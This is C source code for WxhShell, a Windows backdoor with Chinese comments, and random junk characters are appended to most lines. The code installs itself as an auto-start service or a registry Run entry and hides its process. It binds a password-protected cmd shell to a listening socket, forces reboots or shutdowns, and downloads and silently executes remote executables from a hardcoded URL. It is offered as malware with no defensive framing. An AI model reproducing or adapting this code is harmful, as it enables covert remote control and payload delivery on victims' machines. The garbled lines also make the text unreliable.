    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~iiDy;"  
    if(Boot(SHUTDOWN)) i9rv8 "0>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gg GjBt  
    else { w(Tr ,BFF  
    closesocket(wsh); +t*I{X(  
    ExitThread(0); uit.r^8l  
    } 3?`TEw~'  
    break; IY[qWs  
    } @*L-lx  
  // 获取shell i"Hc(lg  
  case 's': { A7XA?>~+|  
    CmdShell(wsh); (RrC<5"  
    closesocket(wsh); D+ .vg?8  
    ExitThread(0); 5]CaWFSmT  
    break; 1#;^ Z3  
  } =_3rc\0  
  // 退出 Eb6cL`#N  
  case 'x': { SYQP7oG9oQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KRn[(yr`%  
    CloseIt(wsh); yKK9b  
    break; @].!}tz  
    } \ kY:|T  
  // 离开 XV4aR3n{Q  
  case 'q': { }X=c|]6i^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #PPHxh*S  
    closesocket(wsh); *wX[zO+o  
    WSACleanup(); EBk-qd a}  
    exit(1); y=+OC1k\8  
    break; w8 N1-D42  
        } Y`$\o  
  } [euR<i*I#  
  } qe?Ns+j<d  
I`jG  
  // 提示信息 iqB%sIP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2!CL8hG5:  
} @}wa Z?'  
  } +>2.O2)%q  
GcA|JS=>  
  return; wL]#]DiE  
} ob9od5Rf  
7F]Hq  
// shell模块句柄 (d,O Lng  
int CmdShell(SOCKET sock) 8yDsl  
{ So~QZ%YA  
STARTUPINFO si; 8KkN "4'  
ZeroMemory(&si,sizeof(si)); (Rq6m`M2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |%#NA!e4wA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U7g,@/Qx  
PROCESS_INFORMATION ProcessInfo; q(R|3l^6T  
char cmdline[]="cmd"; {(asy}a9K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #j+cl'  
  return 0; .!lLj1?p  
} a+O?bO  
73]t5=D:  
// 自身启动模式 o$U{.#  
int StartFromService(void) S1~K.<B  
{ m J$[X  
typedef struct y] O&w{m$  
{ Fo%`X[?  
  DWORD ExitStatus; #4"eQ*.*"  
  DWORD PebBaseAddress; r4X\/  
  DWORD AffinityMask; :J x%K  
  DWORD BasePriority; 1g t 7My  
  ULONG UniqueProcessId; <s|.2~  
  ULONG InheritedFromUniqueProcessId;  xI#rnx*  
}   PROCESS_BASIC_INFORMATION; p15dbr1  
2 w! 0$  
PROCNTQSIP NtQueryInformationProcess; 3,*A VcQA  
"H@I~X=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h#)\K| qs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; luac  
|f1^&97=+  
  HANDLE             hProcess; 2>9..c  
  PROCESS_BASIC_INFORMATION pbi; FjiIB1 T  
-ULgVGYKK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L*4= b (3  
  if(NULL == hInst ) return 0; )"{}L.gC6  
U,fPG/9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vflC{,{=k>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >zw@!1{1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hPGDN\#LD  
w~pe?j_F$  
  if (!NtQueryInformationProcess) return 0; oOubqx  
Z0'LD<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mF4OLG3L0  
  if(!hProcess) return 0; )$a6l8  
EKN<KnU%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1;{nU.If  
T/%Y_.NtU  
  CloseHandle(hProcess); \LQZoD?W  
4k<U5J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #SI]^T|  
if(hProcess==NULL) return 0; E&L ml?@  
HB*BL+S06  
HMODULE hMod; DR]oK_  
char procName[255]; d$E>bo-\   
unsigned long cbNeeded; 0a@tPskV  
 z.2UZ%:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rxJl;!7G  
[(TmAEON  
  CloseHandle(hProcess); I4UsDs*BD  
d>#X+;-k  
if(strstr(procName,"services")) return 1; // 以服务启动 g1y@z8Z{  
O ]-8 %  
  return 0; // 注册表启动 K*1]P ar;  
} 0HbCT3g.  
*r9D+}Y(4  
// 主模块 86?~N  
int StartWxhshell(LPSTR lpCmdLine) LtKR15h,  
{ R6z *!W{  
  SOCKET wsl; *J': U>p  
BOOL val=TRUE; gA1j'!\6l9  
  int port=0; VJCj=jX  
  struct sockaddr_in door; 8 K)GH:a  
6e5A8e8"]  
  if(wscfg.ws_autoins) Install(); w_~tY*IwB  
BV/ ^S.~  
port=atoi(lpCmdLine); as y:[r"  
zA$ f$J7\^  
if(port<=0) port=wscfg.ws_port; ]y$/~(OW  
GN5*  
  WSADATA data; %=s2>vv9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B !rb*"[  
VtU2&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M-+!z5 q~d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V@gG x  
  door.sin_family = AF_INET; Z3u6m0!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '%TD#!a  
  door.sin_port = htons(port); n3eWqwQ$5  
E\9HZ;}G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5UK}AkEe&x  
closesocket(wsl); ! z5c+JqN  
return 1; J5Q.v;  
} )S#?'gt*  
UxMei  
  if(listen(wsl,2) == INVALID_SOCKET) { @q@I(%_`  
closesocket(wsl); 6~?yn-Z  
return 1; + I*a=qjq  
} u'T>Y1I  
  Wxhshell(wsl); 8W7ET@`  
  WSACleanup(); YETGq-  
W!=ur,F+  
return 0; UQ)^`Zj  
%Br1b6 V  
} {`> pigo  
/%{CJ0Y  
// 以NT服务方式启动 SF ^$p$mC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @.G;dL.f{  
{ [3tU0BU"  
DWORD   status = 0; 3fYfj  
  DWORD   specificError = 0xfffffff; pk;S"cnk  
$t5>1G1j7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c7tO'`q$e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c@j3L23B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .~^A!t  
  serviceStatus.dwWin32ExitCode     = 0; ;{e'q?Y  
  serviceStatus.dwServiceSpecificExitCode = 0; tm_\(  
  serviceStatus.dwCheckPoint       = 0; ir|L@Jj,  
  serviceStatus.dwWaitHint       = 0; 4Y G\<Zf  
/:,}hy+U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !SLfAFcS  
  if (hServiceStatusHandle==0) return; oIE3`\xS  
9c0  
status = GetLastError(); =dWq B&  
  if (status!=NO_ERROR) Vy=+G~  
{ 7MKZ*f@x;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \,!Qo*vj  
    serviceStatus.dwCheckPoint       = 0; IRv/[|"L  
    serviceStatus.dwWaitHint       = 0;  2q9$5   
    serviceStatus.dwWin32ExitCode     = status; CSNz8 y  
    serviceStatus.dwServiceSpecificExitCode = specificError; {9Q**U`w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z'gJy  
    return; ]2@lyG#<<  
  } d5=&:cF  
Fd%JF#Hk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T=g2gmo9  
  serviceStatus.dwCheckPoint       = 0; %hz5)  
  serviceStatus.dwWaitHint       = 0; <Y;w I#C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I-Hg6WtB  
} ;1r|Bx<5  
\t=#MzjR  
// 处理NT服务事件,比如:启动、停止 .^ba*qb`{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >Wd_?NaI  
{ ^7*zi_Q  
switch(fdwControl)  W}Rzn  
{ UMPW<> z  
case SERVICE_CONTROL_STOP: OU?.}qc<wE  
  serviceStatus.dwWin32ExitCode = 0; }Cb-7/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @FRas00)|  
  serviceStatus.dwCheckPoint   = 0; ;j<#VS-]  
  serviceStatus.dwWaitHint     = 0; q[. p(6:  
  {  -f<}lhmQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =C7<I   
  } _X{ GZJm  
  return; scE#&OWF%  
case SERVICE_CONTROL_PAUSE: ? a/\5`gnN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [BEQ ~A_I  
  break; ^i@0P}K<  
case SERVICE_CONTROL_CONTINUE: eK\i={va  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uj)fah?Wg  
  break; x-q_sZ^8  
case SERVICE_CONTROL_INTERROGATE: +7y#c20  
  break; &IG*;$c!  
}; @qF:v]=_@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,"?8  
} Q>G% *?  
]KUeSg|  
// 标准应用程序主函数 hij 9r z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >``  
{ z6Nz)$!_i  
J)H*tzg  
// 获取操作系统版本 "_+8z_  
OsIsNt=GetOsVer(); p$Floubh]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +'[/eW  
p@d_Ru  
  // 从命令行安装 >YcaFnY  
  if(strpbrk(lpCmdLine,"iI")) Install(); .kfx\,lgm  
VLbbn  
  // 下载执行文件 (L W2S;-  
if(wscfg.ws_downexe) { 4S* X=1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~L_1&q^4!i  
  WinExec(wscfg.ws_filenam,SW_HIDE); @"aqnj>+  
} (De>k8  
PJ<9T3Fa  
if(!OsIsNt) { #w!ewCvt  
// 如果时win9x,隐藏进程并且设置为注册表启动 *}>)E]O@  
HideProc(); |Rm_8n%m  
StartWxhshell(lpCmdLine); jK{qw  
} 5YgT*}L+,  
else ZdT-  
  if(StartFromService()) py wc~dWvz  
  // 以服务方式启动 :8A@4vMS)?  
  StartServiceCtrlDispatcher(DispatchTable); {WTy/$ Qk  
else xg'xuz$U  
  // 普通方式启动 zu,Yuq  
  StartWxhshell(lpCmdLine); l4& l)4Rx  
$qR@;=  
return 0; }LoMS<O-[  
} 34J*<B[Njo  
0~Xt_rN](  
l,UOP[j  
G#1W":|`  
=========================================== vPrlRG6  
D8WKy  
p& Kfy~  
@=BApuer+  
cG1iO:  
^W~8)Rbf  
" #[Rs&$vQm  
&_\;p-1:  
#include <stdio.h> mH)8A+us  
#include <string.h> &<- S-e  
#include <windows.h> UUGX@  
#include <winsock2.h> FgMQ=O2  
#include <winsvc.h> bicbCC6kC  
#include <urlmon.h> 'oUTY *  
I |"'  
#pragma comment (lib, "Ws2_32.lib") bR?xz-g%<3  
#pragma comment (lib, "urlmon.lib") f @Vd'k<  
2dDhO  
#define MAX_USER   100 // 最大客户端连接数  *qFl&*h}  
#define BUF_SOCK   200 // sock buffer #S[Y}-]T  
#define KEY_BUFF   255 // 输入 buffer UQbk%K2  
02-% B~oP  
#define REBOOT     0   // 重启 n|B<rx?v  
#define SHUTDOWN   1   // 关机 |*l^<==  
Z=]ujlD  
#define DEF_PORT   5000 // 监听端口 0#~k)>(7lR  
;(Az   
#define REG_LEN     16   // 注册表键长度 1E0!?kRK  
#define SVC_LEN     80   // NT服务名长度 28 zZ3|Z3  
uI I! ?   
// 从dll定义API Qm_;o(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  } #&L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g@Rs.Zq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7JBr{3;eS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v<mSd2B*  
apnpy\in  
// wxhshell配置信息 Q(4~r+  
struct WSCFG {  %\~U>3Q  
  int ws_port;         // 监听端口 . "7-f]!  
  char ws_passstr[REG_LEN]; // 口令 G9@5 !-  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^ ~dC&!D  
  char ws_regname[REG_LEN]; // 注册表键名 3Z7gPU!H=  
  char ws_svcname[REG_LEN]; // 服务名 >4os%T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,V{Bpr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '-3K`[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uavyms^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {`(MK6D8 c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S>jOVWB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E%a&6W  
Z/ L%?zH  
}; l8e)|MSh  
{ _Y'%Ggh  
// default Wxhshell configuration \C{Zqo,  
struct WSCFG wscfg={DEF_PORT, ]@}o"Td  
    "xuhuanlingzhe", t. DnF[  
    1, &>G8DvfJ9  
    "Wxhshell", J|VDZ# c7  
    "Wxhshell", _nSEp >]L  
            "WxhShell Service", >~tx8aI{  
    "Wrsky Windows CmdShell Service", n'%cO]nSx  
    "Please Input Your Password: ", dV-6l6  
  1, ,bP8"|e  
  "http://www.wrsky.com/wxhshell.exe", {XwDvLZ  
  "Wxhshell.exe" ({D>(xN   
    }; tvJl&{-OX  
,k(B>O~o  
// 消息定义模块 fUZCP*7>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _rz\[{)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mP?}h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QSwT1P'U  
char *msg_ws_ext="\n\rExit."; yw1Xxwc  
char *msg_ws_end="\n\rQuit."; :)h4SD8Y  
char *msg_ws_boot="\n\rReboot..."; P/Y)Yx_(  
char *msg_ws_poff="\n\rShutdown..."; *:`fgaIDa  
char *msg_ws_down="\n\rSave to "; x'SIHV4M@Q  
?~cO\(TY["  
char *msg_ws_err="\n\rErr!";  '{cFr  
char *msg_ws_ok="\n\rOK!"; dTte4lh  
S"`{ JCW$  
char ExeFile[MAX_PATH]; 3} C-Hg+gt  
int nUser = 0; 'z@]hm#  
HANDLE handles[MAX_USER]; C:f^&4 3  
int OsIsNt; J|HV8  
7e D` is  
SERVICE_STATUS       serviceStatus; Ak$9\Sl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /;xrd\du  
l>J%Q^  
// 函数声明 fgHsg@33N  
int Install(void); =5:kV/p  
int Uninstall(void); /q/^B> ]  
int DownloadFile(char *sURL, SOCKET wsh); Ec}9R3 m  
int Boot(int flag); }r"E\~E  
void HideProc(void); mxe\+j#  
int GetOsVer(void); -^8OjGat  
int Wxhshell(SOCKET wsl); MOHw{Vw(  
void TalkWithClient(void *cs); ^;?w<9Y  
int CmdShell(SOCKET sock); $XKUw"%  
int StartFromService(void); !~ j9Oc^  
int StartWxhshell(LPSTR lpCmdLine); 0rif,{"  
`wSoa#U"@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /gn\7&=P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); brL u~]I  
gLx?0eBBA  
// 数据结构和表定义 TT){15T;"  
SERVICE_TABLE_ENTRY DispatchTable[] = kHQn' r6  
{ (X (:h\^  
{wscfg.ws_svcname, NTServiceMain}, '%YTM N@  
{NULL, NULL} &?gcnMg$,J  
}; 8-smL^~%#  
y;O 6q206  
// 自我安装 49Y:}<Yd   
int Install(void) 'uwq^b_  
{ Oe^9pH,1t  
  char svExeFile[MAX_PATH]; -vt6n1A&b  
  HKEY key; ' |M} 3sL  
  strcpy(svExeFile,ExeFile); :73T9/  
R80|q#h,]  
// 如果是win9x系统,修改注册表设为自启动 QqXaXx;  
if(!OsIsNt) { PC%_^BDW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B E#pHg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "#{b)!EH  
  RegCloseKey(key); AAF;M}le,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7'`nTF-@v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h}S2b@e|  
  RegCloseKey(key); m 7+=w>o  
  return 0; <&4~Z! O  
    } 3[~LmA  
  } _sHeB7K  
} dp3TJZ+U  
else { n9 Jev_!A  
G)""^YB-  
// 如果是NT以上系统,安装为系统服务 ~\%H0.P6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IY?o \vC  
if (schSCManager!=0) bf\ Uq<&IJ  
{ !'>#!S~h3  
  SC_HANDLE schService = CreateService "{jVsih0  
  ( `"$9L[>  
  schSCManager, A~L Ti  
  wscfg.ws_svcname, 6\)u\m`7-l  
  wscfg.ws_svcdisp, LD,T$"  
  SERVICE_ALL_ACCESS, E,4*a5Fi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }E)t,T>  
  SERVICE_AUTO_START, 'qeUI}[  
  SERVICE_ERROR_NORMAL, BpF}H^V-  
  svExeFile, m^^#3*qa  
  NULL, ![Vrbe P  
  NULL, 2J` LZS  
  NULL, 2[KHmdgtB  
  NULL, UZgrSX {  
  NULL V{rQ@7SE  
  ); kioIyV\=  
  if (schService!=0) -1R7 8(1  
  { 2%]#rZ  
  CloseServiceHandle(schService); `Cu9y+t  
  CloseServiceHandle(schSCManager); t4-0mNBZt$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fY|vq amA;  
  strcat(svExeFile,wscfg.ws_svcname); ~\c  j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pFwe&_u]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AUl[h&s  
  RegCloseKey(key); Q2!RFtXV  
  return 0; c>C!vAg  
    } O@rZ ^Aa  
  } vLCm,Bb2L  
  CloseServiceHandle(schSCManager); 73!])!SVI  
} 4_4|2L3  
} G2J4N2hu  
FWS!b!#,N  
return 1; BkDq9>  
} RLDu5  
t1aKq)?  
// 自我卸载 ay=f1<a  
int Uninstall(void) HA0yX?f]  
{ h:vI:V[/X  
  HKEY key; y!\q ', F  
D,s[{RW+q  
if(!OsIsNt) { B{1yMJA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1rh2!4)7  
  RegDeleteValue(key,wscfg.ws_regname); ;i3C  
  RegCloseKey(key); y$L&N0z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jgw+c3^R_  
  RegDeleteValue(key,wscfg.ws_regname); k6_OP]  
  RegCloseKey(key); ITjg]taD  
  return 0; 4o@^._-R  
  } D\sh +}"  
} PS??wlp7  
} M5]$w]Ny9  
else { 5eas^Rm  
J {\]ZPs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *0 ;|  
if (schSCManager!=0) kwFo*1 {  
{ |%=c<z+8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m9aP]I3g]\  
  if (schService!=0) d,t'e?  
  { S,C/l1s  
  if(DeleteService(schService)!=0) { OEHw%  
  CloseServiceHandle(schService); kgRgHkAH~  
  CloseServiceHandle(schSCManager); B5va4@  
  return 0; e?dR'*-z  
  } 6Kd,(DI  
  CloseServiceHandle(schService); "o<&3c4  
  } &s&Ha{(!w  
  CloseServiceHandle(schSCManager); SS-7y:6y>  
} iP?=5j=4  
} p2 m`pT  
Wt! NLlN8  
return 1; E%)3{# .z  
} vLM-v  
diF2:80o  
// 从指定url下载文件 5%R$7>`Z  
int DownloadFile(char *sURL, SOCKET wsh) ;3sJ7%`v  
{ x]:B3_qR  
  HRESULT hr; B{Lcx~  
char seps[]= "/"; !p4FK]B/u  
char *token; [JVUa2Sm  
char *file; T- lHlm  
char myURL[MAX_PATH]; >zv}59M  
char myFILE[MAX_PATH]; UC"_#!3  
{s[,CUL0  
strcpy(myURL,sURL); h/#s\>)T  
  token=strtok(myURL,seps); X(K5>L>  
  while(token!=NULL) )<%IY&\  
  { b_oUG_B3]  
    file=token; ~g;lVj,N'  
  token=strtok(NULL,seps); 0S>U_#-  
  } X!0m,  
{hKf 'd9E  
GetCurrentDirectory(MAX_PATH,myFILE); 1$ {Cwb/F  
strcat(myFILE, "\\"); " G0HsXi  
strcat(myFILE, file);  <:`x> _  
  send(wsh,myFILE,strlen(myFILE),0); 2aW"t.[j  
send(wsh,"...",3,0); M'ZA(LVp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %ZZW p%uf  
  if(hr==S_OK) k+Ay^i}s.  
return 0; </7?puVR  
else 0'^zIL#.  
return 1; V?Ye^ -29  
K#'{Ko  
} 8'Bik  
{;Y2O.lV  
// 系统电源模块 tje   
int Boot(int flag) A(qy>x-BI  
{ e/V8lo  
  HANDLE hToken; GAcU8  MD  
  TOKEN_PRIVILEGES tkp; {@`Z`h" N  
+8q]O%B   
  if(OsIsNt) { [d,")Ng  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <*74t%AJ%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -$_h]x* W  
    tkp.PrivilegeCount = 1; WiclG8l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ADN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o_ SR  
if(flag==REBOOT) { qi-!iT(fe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h8tKYm  
  return 0; wr;8o*~  
} F /% 5 r{  
else { twJ)h :!_y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?hwT{h  
  return 0; '-m )fWf  
} iKuSk~  
  } bZ*J]1y(.  
  else { 3_+$x 4%  
if(flag==REBOOT) { 0 6S-3bis  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ` SO"F,  
  return 0; 4F>?G{ci  
} xQ7-4 N,  
else { X3;|h93.a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) or1D 6 *'  
  return 0; &B5@\Hd;  
} }[*BC5{>  
} o  w<.Dh  
{(!j6|jK  
return 1; F;^GhiQVS  
} Wo+'j $k  
C@L8,Kj ~.  
// win9x进程隐藏模块 SB' $?Kh  
void HideProc(void) X(ZouyD<  
{ OTe0[p6v  
Y!|* `FII  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @I^LmB9*  
  if ( hKernel != NULL ) <kr%ylhIu  
  { rwUKg[ 1N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2,O;<9au<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q+UqLass  
    FreeLibrary(hKernel); lnoK.Vk9,  
  } Ju"*>66  
J_^Ml)@iy  
return; e$+?l~  
} O0i[GCtP5  
gLef6q{}  
// 获取操作系统版本 { f@k2^  
int GetOsVer(void) s'/ g:aJ  
{ }+8w  
  OSVERSIONINFO winfo; OJ:iQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P9aGDma  
  GetVersionEx(&winfo); "##Ylq("  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J9 iQW  
  return 1;  #{8n<sE  
  else EJrn4QOs  
  return 0; JtrLTo  
} ,U#$Qb 12  
3,cZ*4('d  
// 客户端句柄模块 lJloa'%v9  
int Wxhshell(SOCKET wsl) iCYo?>  
{ ^Pk-<b4}  
  SOCKET wsh; tOK lCc  
  struct sockaddr_in client; {$ghf"  
  DWORD myID; C 4 &1M  
7VdG6`TDR  
  while(nUser<MAX_USER) P+Ta|-  
{ (Wu_RXfCw_  
  int nSize=sizeof(client); Q!<b"8V]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W c"f  
  if(wsh==INVALID_SOCKET) return 1; 'bpx  
M#Vl{ b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9_mys}+  
if(handles[nUser]==0) "=uphBZog  
  closesocket(wsh); eh-/,vmRa  
else HV ^*_  
  nUser++; +8 avA:o  
  } $DOBC@xxzT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [C]u!\(IF  
=*aun&  
  return 0; #lM :BO  
} >d&_e[j  
0N~AQu  
// 关闭 socket gZ*8F|sg  
void CloseIt(SOCKET wsh) Jm|eZDp  
{ Ub8|x]ix  
closesocket(wsh); DV(^h$1_  
nUser--; XO*62 >Ed  
ExitThread(0); JR1/\F<}  
} 85<zl|ZD  
OE(Z)|LF  
// 客户端请求句柄 D<zgs2Ex  
void TalkWithClient(void *cs) 3sf+ uoV  
{ >900O4  
IGj%)_W  
  SOCKET wsh=(SOCKET)cs; bojx:g  
  char pwd[SVC_LEN]; q1Vh]d  
  char cmd[KEY_BUFF]; i6p0(OS&D  
char chr[1]; -o\r]24  
int i,j;  2L~[dn.s  
j"aimjqd3  
  while (nUser < MAX_USER) { ei>8{v&g  
h5-<2B|  
if(wscfg.ws_passstr) { tc%?{W\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }>\+eG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %G& Zm$u=  
  //ZeroMemory(pwd,KEY_BUFF); }kaU0 P  
      i=0; = X?jId{  
  while(i<SVC_LEN) { s5X .(;+  
\7QAk4I~  
  // 设置超时 R<+K&_  
  fd_set FdRead; ]:B|_| H  
  struct timeval TimeOut; wD-(3ZVd4  
  FD_ZERO(&FdRead); }\E2Z[  
  FD_SET(wsh,&FdRead); smLXNO  
  TimeOut.tv_sec=8; [.O 3z*[9#  
  TimeOut.tv_usec=0; _h4{Sx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]~:9b[G2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SbmakNWJ}  
kETu@la}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @tvAI2W  
  pwd=chr[0]; ]g jhrD   
  if(chr[0]==0xd || chr[0]==0xa) { )vB,eZq  
  pwd=0; }| BnG"8  
  break; xeqAFq=9?  
  } 3"HpM\A{A=  
  i++; Nj Ng=q  
    } >z*2Og#1  
ad).X:Qs  
  // 如果是非法用户,关闭 socket >qjQ;z[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ULq#2l  
} d>z?JD t  
20G..>zW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \Lxsg! wtJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y]ML-smN  
.` z](s  
while(1) { &[*F!=%8  
tkBp?Wl  
  ZeroMemory(cmd,KEY_BUFF); 0p\cDrB ?  
^Jb=&u$  
      // 自动支持客户端 telnet标准   wXv\[z L`  
  j=0; Hn%n>Bnl  
  while(j<KEY_BUFF) { iX8& mUR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v%|^\A"V  
  cmd[j]=chr[0]; v%(2l|M  
  if(chr[0]==0xa || chr[0]==0xd) { `}/&}Sp  
  cmd[j]=0; VY)!bjW.  
  break; n22k<@y  
  } KS($S( Fi  
  j++; c0v;r4Jo#j  
    } Jrp{e("9  
oR'8|~U@B  
  // 下载文件 Qo>V N`v  
  if(strstr(cmd,"http://")) { +;7Rz_.6f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4-@D`,3L  
  if(DownloadFile(cmd,wsh)) Z `FqC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m&xyw9a  
  else Ti`H?9t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @G  0k+  
  } W-9^Ncp  
